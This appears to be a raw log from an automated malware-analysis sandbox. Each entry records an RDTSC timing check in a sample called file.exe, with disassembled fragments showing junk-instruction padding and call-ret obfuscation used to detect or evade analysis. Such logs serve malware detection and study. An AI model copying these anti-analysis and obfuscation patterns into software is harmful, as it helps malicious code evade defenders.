Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E121CE second address: E121D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12CC7 second address: E12CD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F6BC92F1686h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E129A1 second address: E129BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC918D039h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13769 second address: E1376E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1382A second address: E13834 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F6BC918D026h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13834 second address: E13838 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1533F second address: E15343 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC98C5 second address: DC98D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jne 00007F6BC92F168Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC98D4 second address: DC98DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC98DD second address: DC98E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1859B second address: E1859F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1859F second address: E185A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E195F5 second address: E195FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E187F0 second address: E187F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E19712 second address: E19717 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A813 second address: E1A818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B5F0 second address: E1B614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 jo 00007F6BC918D03Ah 0x0000000d jmp 00007F6BC918D034h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B614 second address: E1B696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6BC92F1686h 0x0000000a popad 0x0000000b popad 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F6BC92F1688h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 movsx edi, dx 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ebp 0x0000002f call 00007F6BC92F1688h 0x00000034 pop ebp 0x00000035 mov dword ptr [esp+04h], ebp 0x00000039 add dword ptr [esp+04h], 00000014h 0x00000041 inc ebp 0x00000042 push ebp 0x00000043 ret 0x00000044 pop ebp 0x00000045 ret 0x00000046 mov ebx, dword ptr [ebp+122D19B4h] 0x0000004c push 00000000h 0x0000004e push 00000000h 0x00000050 push ebp 0x00000051 call 00007F6BC92F1688h 0x00000056 pop ebp 0x00000057 mov dword ptr [esp+04h], ebp 0x0000005b add dword ptr [esp+04h], 00000015h 0x00000063 inc ebp 0x00000064 push ebp 0x00000065 ret 0x00000066 pop ebp 0x00000067 ret 0x00000068 push eax 0x00000069 pushad 0x0000006a push eax 0x0000006b push edx 0x0000006c jp 00007F6BC92F1686h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E197B5 second address: E197D3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F6BC918D02Ah 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e jg 00007F6BC918D026h 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B696 second address: E1B69A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E197D3 second address: E197D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C4F3 second address: E1C500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jl 00007F6BC92F168Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C500 second address: E1C50C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B78B second address: E1B78F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B78F second address: E1B799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B799 second address: E1B79D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1D484 second address: E1D498 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 jg 00007F6BC918D026h 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1D498 second address: E1D49C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1D49C second address: E1D4F1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6BC918D026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c clc 0x0000000d mov edi, dword ptr [ebp+122D3002h] 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F6BC918D028h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f xor edi, dword ptr [ebp+122D18E5h] 0x00000035 push 00000000h 0x00000037 cmc 0x00000038 xchg eax, esi 0x00000039 push eax 0x0000003a push edx 0x0000003b je 00007F6BC918D036h 0x00000041 jmp 00007F6BC918D030h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E46D second address: E1E48C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC92F1696h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E48C second address: E1E49F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6BC918D026h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F6BC918D026h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1D688 second address: E1D6B9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F6BC92F169Fh 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007F6BC92F1688h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1D6B9 second address: E1D6BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E6C9 second address: E1E77D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b mov ebx, 60B003E0h 0x00000010 add ebx, dword ptr [ebp+122D3C1Fh] 0x00000016 push dword ptr fs:[00000000h] 0x0000001d push 00000000h 0x0000001f push ecx 0x00000020 call 00007F6BC92F1688h 0x00000025 pop ecx 0x00000026 mov dword ptr [esp+04h], ecx 0x0000002a add dword ptr [esp+04h], 0000001Dh 0x00000032 inc ecx 0x00000033 push ecx 0x00000034 ret 0x00000035 pop ecx 0x00000036 ret 0x00000037 sub dword ptr [ebp+1247702Ch], ebx 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 mov dword ptr [ebp+1244EA92h], ebx 0x0000004a mov eax, dword ptr [ebp+122D046Dh] 0x00000050 call 00007F6BC92F1696h 0x00000055 stc 0x00000056 pop edi 0x00000057 sub dword ptr [ebp+1244BCC8h], eax 0x0000005d push FFFFFFFFh 0x0000005f push 00000000h 0x00000061 push ebp 0x00000062 call 00007F6BC92F1688h 0x00000067 pop ebp 0x00000068 mov dword ptr [esp+04h], ebp 0x0000006c add dword ptr [esp+04h], 00000015h 0x00000074 inc ebp 0x00000075 push ebp 0x00000076 ret 0x00000077 pop ebp 0x00000078 ret 0x00000079 xor dword ptr [ebp+1247C577h], esi 0x0000007f push eax 0x00000080 push eax 0x00000081 push edx 0x00000082 jmp 00007F6BC92F1693h 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E77D second address: E1E784 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E20419 second address: E2041D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2041D second address: E20423 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E20423 second address: E20428 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E204E3 second address: E204FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC918D02Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E21502 second address: E21582 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6BC92F1692h 0x00000008 jmp 00007F6BC92F168Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007F6BC92F1699h 0x00000015 nop 0x00000016 mov bx, B4E7h 0x0000001a push 00000000h 0x0000001c mov bh, 0Fh 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push eax 0x00000023 call 00007F6BC92F1688h 0x00000028 pop eax 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d add dword ptr [esp+04h], 0000001Bh 0x00000035 inc eax 0x00000036 push eax 0x00000037 ret 0x00000038 pop eax 0x00000039 ret 0x0000003a mov dword ptr [ebp+1247702Ch], eax 0x00000040 jmp 00007F6BC92F1691h 0x00000045 xchg eax, esi 0x00000046 push eax 0x00000047 push edx 0x00000048 push edx 0x00000049 jg 00007F6BC92F1686h 0x0000004f pop edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E21582 second address: E21588 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E21588 second address: E2158C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E205F7 second address: E205FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E205FC second address: E206A5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F6BC92F1692h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F6BC92F1694h 0x00000012 jbe 00007F6BC92F1688h 0x00000018 popad 0x00000019 nop 0x0000001a mov edi, ebx 0x0000001c push dword ptr fs:[00000000h] 0x00000023 push 00000000h 0x00000025 push edx 0x00000026 call 00007F6BC92F1688h 0x0000002b pop edx 0x0000002c mov dword ptr [esp+04h], edx 0x00000030 add dword ptr [esp+04h], 00000015h 0x00000038 inc edx 0x00000039 push edx 0x0000003a ret 0x0000003b pop edx 0x0000003c ret 0x0000003d mov dword ptr [ebp+1244B30Ch], eax 0x00000043 sbb edi, 497E114Eh 0x00000049 mov dword ptr fs:[00000000h], esp 0x00000050 push ebx 0x00000051 call 00007F6BC92F1696h 0x00000056 add dword ptr [ebp+122D1ED8h], edi 0x0000005c pop edi 0x0000005d pop edi 0x0000005e mov eax, dword ptr [ebp+122D0641h] 0x00000064 movzx edi, cx 0x00000067 mov di, D9CCh 0x0000006b push FFFFFFFFh 0x0000006d mov di, 3C9Ch 0x00000071 nop 0x00000072 push esi 0x00000073 push eax 0x00000074 push edx 0x00000075 pushad 0x00000076 popad 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E206A5 second address: E206B2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E206B2 second address: E206B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E254AE second address: E254B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E254B2 second address: E254B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E254B6 second address: E254BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E265EE second address: E265F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E265F2 second address: E265F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26792 second address: E2679D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1432 second address: DC1436 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1436 second address: DC144B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007F6BC92F168Bh 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC144B second address: DC1450 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C5EC second address: E2C5F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C5F0 second address: E2C600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C600 second address: E2C62F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6BC92F1695h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jp 00007F6BC92F1692h 0x00000017 js 00007F6BC92F168Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E31855 second address: E3185A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E310FE second address: E31129 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC92F168Bh 0x00000007 jnp 00007F6BC92F1686h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6BC92F1694h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E31129 second address: E3114D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC918D02Bh 0x00000007 jmp 00007F6BC918D035h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3114D second address: E31175 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jo 00007F6BC92F1686h 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F6BC92F1692h 0x00000012 popad 0x00000013 js 00007F6BC92F1692h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E31175 second address: E3117B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E312CF second address: E312D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3142E second address: E31441 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a jo 00007F6BC918D026h 0x00000010 pushad 0x00000011 popad 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3AD92 second address: E3AD96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B49F second address: E3B4A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B4A9 second address: E3B4AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B790 second address: E3B7A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC918D02Ah 0x00000007 jmp 00007F6BC918D02Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B7A8 second address: E3B7DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC92F1698h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jns 00007F6BC92F1686h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jc 00007F6BC92F16B4h 0x0000001b pushad 0x0000001c jg 00007F6BC92F1686h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B7DF second address: E3B7E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B7E5 second address: E3B7EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B7EB second address: E3B7FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jng 00007F6BC918D026h 0x0000000c ja 00007F6BC918D026h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3BEB2 second address: E3BEB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3BEB8 second address: E3BEDB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F6BC918D038h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push ebx 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCE94F second address: DCE965 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F6BC92F1690h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCE965 second address: DCE96B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCE96B second address: DCE9A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F6BC92F1695h 0x0000000f jmp 00007F6BC92F1692h 0x00000014 popad 0x00000015 pushad 0x00000016 push esi 0x00000017 pop esi 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46AB6 second address: E46ABC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E454DB second address: E454EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jo 00007F6BC92F1686h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E454EA second address: E45517 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 je 00007F6BC918D04Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6BC918D032h 0x00000016 jmp 00007F6BC918D02Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45659 second address: E4567A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F6BC92F169Ch 0x0000000b jmp 00007F6BC92F1694h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45BB3 second address: E45BBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46158 second address: E4615E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4615E second address: E46164 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46164 second address: E4616A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
